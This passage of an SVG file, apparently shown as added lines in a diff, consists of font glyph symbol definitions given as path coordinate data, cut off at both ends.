7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
